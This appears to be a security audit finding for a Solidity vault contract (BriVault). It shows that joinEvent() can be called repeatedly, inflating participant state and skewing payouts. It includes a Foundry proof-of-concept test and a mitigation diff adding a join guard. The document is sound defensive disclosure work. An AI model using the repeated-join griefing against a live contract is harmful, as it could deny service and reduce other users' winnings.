Description
-
Each participant should be able to join exactly once (or update their selection in a controlled way) before eventStartDate. The system should maintain a single, deduplicated participant entry and a consistent mapping of shares → selected country.
-
joinEvent(uint256 countryId) pushes the caller’s address on every call and overwrites userToCountry/userSharesToCountry without any guard. This allows the same user to join repeatedly, bloating usersAddress, inflating numberOfParticipants, and causing double counting during finalization when _getWinnerShares() aggregates from usersAddress. There is no check to prevent re‑joining or changing countries multiple times.
function joinEvent(uint256 countryId) public {
if (stakedAsset[msg.sender] == 0) { revert noDeposit(); }
if (countryId >= teams.length) { revert invalidCountry(); }
if (block.timestamp > eventStartDate) { revert eventStarted(); }
userToCountry[msg.sender] = teams[countryId];
uint256 participantShares = balanceOf(msg.sender);
userSharesToCountry[msg.sender][countryId] = participantShares;
usersAddress.push(msg.sender);
numberOfParticipants++;
totalParticipantShares += participantShares;
emit joinedEvent(msg.sender, countryId);
}
Risk
Likelihood: High
-
Users routinely interact with dApps multiple times during the join window (wallet retries, UI refreshes).
-
A griefer can automate multiple joinEvent() calls before eventStartDate, easily spamming entries.
Impact: High
-
Finalize DoS & payout skew: The duplicate entries inflate usersAddress size and overcount totalWinnerShares in _getWinnerShares(), reducing each winner’s payout and potentially pushing setWinner() toward out‑of‑gas in high‑spam scenarios.
-
Misleading analytics/state: numberOfParticipants becomes inaccurate; totalParticipantShares can be inflated by repeated joins even if the user’s actual share balance did not change.
Proof of Concept
pragma solidity ^0.8.24;
import {Test} from "forge-std/Test.sol";
import {BriVault} from "../src/briVault.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {MockERC20} from "./MockErc20.t.sol";
contract MultipleJoinTest is Test {
BriVault vault;
MockERC20 token;
address owner = makeAddr("owner");
address user = makeAddr("user");
address fee = makeAddr("fee");
uint256 start;
uint256 end;
string[48] countries;
function setUp() public {
start = block.timestamp + 2 days;
end = start + 30 days;
token = new MockERC20("Mock", "M");
token.mint(user, 20 ether);
vm.startPrank(owner);
vault = new BriVault(
IERC20(address(token)),
150,
start,
fee,
0.0002 ether,
end
);
countries[10] = "Japan";
countries[20] = "Spain";
vault.setCountry(countries);
vm.stopPrank();
vm.startPrank(user);
token.approve(address(vault), type(uint256).max);
vault.deposit(5 ether, user);
}
function test_UserCanJoinMultipleTimes_InflatesState() public {
vault.joinEvent(10);
vault.joinEvent(10);
vault.joinEvent(20);
vm.stopPrank();
vm.warp(end + 1);
vm.startPrank(owner);
vault.setWinner(10);
vm.stopPrank();
}
}
Recommended Mitigation
@@
- address[] public usersAddress;
+ address[] public usersAddress;
+ mapping(address => bool) internal hasJoined;
function joinEvent(uint256 countryId) public {
if (stakedAsset[msg.sender] == 0) { revert noDeposit(); }
if (countryId >= teams.length) { revert invalidCountry(); }
if (block.timestamp > eventStartDate) { revert eventStarted(); }
+ if (hasJoined[msg.sender]) { revert alreadyJoined(); } // add a custom error
userToCountry[msg.sender] = teams[countryId];
uint256 participantShares = balanceOf(msg.sender);
userSharesToCountry[msg.sender][countryId] = participantShares;
- usersAddress.push(msg.sender);
- numberOfParticipants++;
- totalParticipantShares += participantShares;
+ // Deduplicate participant list
+ usersAddress.push(msg.sender);
+ hasJoined[msg.sender] = true;
+ numberOfParticipants += 1;
+ totalParticipantShares += participantShares;
emit joinedEvent(msg.sender, countryId);
}